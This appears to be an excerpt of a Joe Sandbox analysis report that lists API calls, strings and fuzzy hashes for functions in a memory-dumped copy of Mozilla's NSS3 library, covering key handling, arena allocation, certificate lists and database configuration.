htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C9D094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9D0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C9D096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C9D0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C9D098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0995

Part of subcall function 6C9D1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9D1860
Part of subcall function 6C9D1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C9D09BF), ref: 6C9D1897
Part of subcall function 6C9D1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9D18AA
Part of subcall function 6C9D1800: memcpy.VCRUNTIME140(?,?,?), ref: 6C9D18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C9D0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C9D0B78

Strings

secret, xrefs: 6C9D0A88
base_nonce, xrefs: 6C9D0B06
psk_id_hash, xrefs: 6C9D09B5
info_hash, xrefs: 6C9D09E0
key, xrefs: 6C9D0ACB
exp, xrefs: 6C9D0B36

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 4695ed02a71b2a7818ab2fb564cad735c71ab6c3895029c4fd049b22934ae539
Instruction ID: e624ed87277d8182063d75e531898d9bcb9458adafb41c741a1c1ea198ec06f8
Opcode Fuzzy Hash: 4695ed02a71b2a7818ab2fb564cad735c71ab6c3895029c4fd049b22934ae539
Instruction Fuzzy Hash: 4C818AB6604701AFC700CF54C88099AF7E8FF9C208F058959F998A7751E730EA59CBA2

Function 6C9E2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C9E2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C9E2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C9E2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C,?,-00000001,00000000,?), ref: 6C9E2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C9B4F1C,?,-00000001,00000000), ref: 6C9E2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9E2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9E2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C9E2EF8
PR_Unlock.NSS3(?), ref: 6C9E2F62
TlsGetValue.KERNEL32 ref: 6C9E2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E2F9E
PR_Unlock.NSS3(?), ref: 6C9E2FCA
TlsGetValue.KERNEL32 ref: 6C9E301A
EnterCriticalSection.KERNEL32(?), ref: 6C9E302E
PR_Unlock.NSS3(?), ref: 6C9E3066
PR_SetError.NSS3(00000000,00000000), ref: 6C9E3085
PR_Unlock.NSS3(?), ref: 6C9E30EC
TlsGetValue.KERNEL32 ref: 6C9E310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C9E3124
PR_Unlock.NSS3(?), ref: 6C9E314C

Part of subcall function 6C9C9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C9F379E,?,6C9C9568,00000000,?,6C9F379E,?,00000001,?), ref: 6C9C918D
Part of subcall function 6C9C9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C9F379E,?,6C9C9568,00000000,?,6C9F379E,?,00000001,?), ref: 6C9C91A0

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_SetError.NSS3(00000000,00000000), ref: 6C9E316D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c81c8c444c036da88a0823ad599316f8fd586832c00819be644874742daf5021
Instruction ID: 50aecb4576aab4d53730c2aab85e96abe2dd8eb660b31cb9b6c088091dd8862d
Opcode Fuzzy Hash: c81c8c444c036da88a0823ad599316f8fd586832c00819be644874742daf5021
Instruction Fuzzy Hash: 12F1AEB5E006099FDF01DF68D844B99BBB8BF29318F148169EC14A7721E731E996CB81

Function 6CA0C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C98E

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9A1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9D3

Part of subcall function 6CA00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA008B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9E6

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CA0C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CA0AEB0,?,00000004,00000001,?,00000000,?), ref: 6CA0CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CA0AEB0,?,00000004,00000001), ref: 6CA0CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CA0AEB0,?,00000004), ref: 6CA0CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CA0CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA0AEB0,?,00000004), ref: 6CA0CA6D
PR_Now.NSS3 ref: 6CA0CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CA0CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CA0CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CA0CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CA0CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA0CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CA0CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA0CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CA0CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA0CC5B

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA0CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CA0CC89

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 12030475f7c8563d5fd7247473cdb073e04a46045f5c7f4530716ada29b3ec29
Instruction ID: e520afd41e911c47e584c44cac36e1abe81c876097d4ddabb85cee3136c16e94
Opcode Fuzzy Hash: 12030475f7c8563d5fd7247473cdb073e04a46045f5c7f4530716ada29b3ec29
Instruction Fuzzy Hash: 27B1BFB5E002069FEB00DF65ED41BAA77B0BF1838CF144125E914A7752EB71D9E4CBA2

Function 6C9C9FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C9C9FBE

Part of subcall function 6C9A2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C9A2F0A
Part of subcall function 6C9A2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9A2F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9CA015

Part of subcall function 6C9E1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C9E563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C9E195C
Part of subcall function 6C9E1940: EnterCriticalSection.KERNEL32(?,?,6C9E563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E1970
Part of subcall function 6C9E1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C9BEAC5,00000001,?,6C9BCE9B,00000001,6C9BEAC5), ref: 6C9E19A0

PL_FreeArenaPool.NSS3(?), ref: 6C9CA067
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9CA055

Part of subcall function 6C924C70: TlsGetValue.KERNEL32(?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924C97
Part of subcall function 6C924C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CB0
Part of subcall function 6C924C70: PR_Unlock.NSS3(?,?,?,?,?,6C923921,6CB014E4,6CA6CC70), ref: 6C924CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CA07E
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9CA0B1
PL_FreeArenaPool.NSS3(?), ref: 6C9CA0C7
PL_FinishArenaPool.NSS3(?), ref: 6C9CA0CF
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9CA12E
PL_FreeArenaPool.NSS3(?), ref: 6C9CA140
PL_FinishArenaPool.NSS3(?), ref: 6C9CA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9CA158
PL_FinishArenaPool.NSS3(?), ref: 6C9CA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C9CA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9CA1B2
free.MOZGLUE(00000000), ref: 6C9CA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C9CA1D6

Part of subcall function 6C9E55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C9BEAC5,00000001,?,6C9BCE9B,00000001,6C9BEAC5,00000003,-00000004,00000000,?,6C9BEAC5), ref: 6C9E5627
Part of subcall function 6C9E55E0: PR_CallOnce.NSS3(6CB02AA4,6CA012D0,?,?,?,?,?,?,?,?,?,?,6C9BEAC5,00000001,?,6C9BCE9B), ref: 6C9E564F
Part of subcall function 6C9E55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E5661
Part of subcall function 6C9E55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9BEAC5), ref: 6C9E56AF

Strings

security, xrefs: 6C9CA00F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 9ec02aeea76db18293efe37fd51250e47fdb9e31900d22346f28976c5b8fb84c
Instruction ID: f51148f700d7544e3dab6efdf02f5ac2b096fa8549ad552ca08d7b7642a7d3d7
Opcode Fuzzy Hash: 9ec02aeea76db18293efe37fd51250e47fdb9e31900d22346f28976c5b8fb84c
Instruction Fuzzy Hash: 8051F6B5F002099BEB01DBA4AD45BAF7378AF5634CF104024E805AAB41EF75DA49C7A3

Function 6C9E6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9E6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C9E6943
Part of subcall function 6C9E6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C9E6957
Part of subcall function 6C9E6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C9E6972
Part of subcall function 6C9E6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C9E6983
Part of subcall function 6C9E6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C9E69AA
Part of subcall function 6C9E6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C9E69BE
Part of subcall function 6C9E6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C9E69D2
Part of subcall function 6C9E6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C9E69DF
Part of subcall function 6C9E6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C9E6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9E6D8C
free.MOZGLUE(00000000), ref: 6C9E6DC5
free.MOZGLUE(?), ref: 6C9E6DD6
free.MOZGLUE(?), ref: 6C9E6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9E6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6E72
free.MOZGLUE(?), ref: 6C9E6EA7
free.MOZGLUE(?), ref: 6C9E6EC4
free.MOZGLUE(?), ref: 6C9E6ED5
free.MOZGLUE(00000000), ref: 6C9E6EE3
free.MOZGLUE(?), ref: 6C9E6EF4
free.MOZGLUE(?), ref: 6C9E6F08
free.MOZGLUE(00000000), ref: 6C9E6F35
free.MOZGLUE(?), ref: 6C9E6F44
free.MOZGLUE(?), ref: 6C9E6F5B
free.MOZGLUE(00000000), ref: 6C9E6F65

Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C9E781D,00000000,6C9DBE2C,?,6C9E6B1D,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C40
Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C9E781D,?,6C9DBE2C,?), ref: 6C9E6C58
Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C9E781D), ref: 6C9E6C6F
Part of subcall function 6C9E6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C9E6C84
Part of subcall function 6C9E6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C9E6C96
Part of subcall function 6C9E6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C9E6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9E6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C9E6FF4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: aa4ee12b17832b9c0f5f36e8e35d90ece5a1cd7a2d43ece2393ece2652c5b0a5
Instruction ID: 2233e60bdd8c17fadcc4e954d374994e9b0e14ab26a9b77854a365215c8d62b7
Opcode Fuzzy Hash: aa4ee12b17832b9c0f5f36e8e35d90ece5a1cd7a2d43ece2393ece2652c5b0a5
Instruction Fuzzy Hash: DFB181B0E0120D9FDF12DBA5D844B9E7BBCAF1D348F140028EA15E7A40E735E965CBA1

Function 6C9E4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9E4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C9E4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4DB7

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

TlsGetValue.KERNEL32 ref: 6C9E4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C9E4DEC
PR_Unlock.NSS3(?), ref: 6C9E4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C9E4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C9E4E71
free.MOZGLUE(00000000), ref: 6C9E4E7A
PR_Unlock.NSS3(?), ref: 6C9E4EA2
TlsGetValue.KERNEL32 ref: 6C9E4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C9E4ED6
PR_Unlock.NSS3(?), ref: 6C9E4F01
free.MOZGLUE(00000000), ref: 6C9E4F2A

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 5b839e6fcf8f6db8c80c5c118bd386ebf911ff0de02c939172303f8e7609a581
Instruction ID: f0d6564684cd028b1a89655faa0d72740606929386feafe025021840bbd1b4e4
Opcode Fuzzy Hash: 5b839e6fcf8f6db8c80c5c118bd386ebf911ff0de02c939172303f8e7609a581
Instruction Fuzzy Hash: DBB1E575A002069FDB02EFA8DC44BAA77B8BF29318F048528ED1597B41E734E965CFD1

Function 6C9EFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFB4

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFC6

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFD6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFE6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9EFFF6
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0006
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0016
PR_NewLock.NSS3(?,?,6C9E76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9B75C2,00000000), ref: 6C9F0026
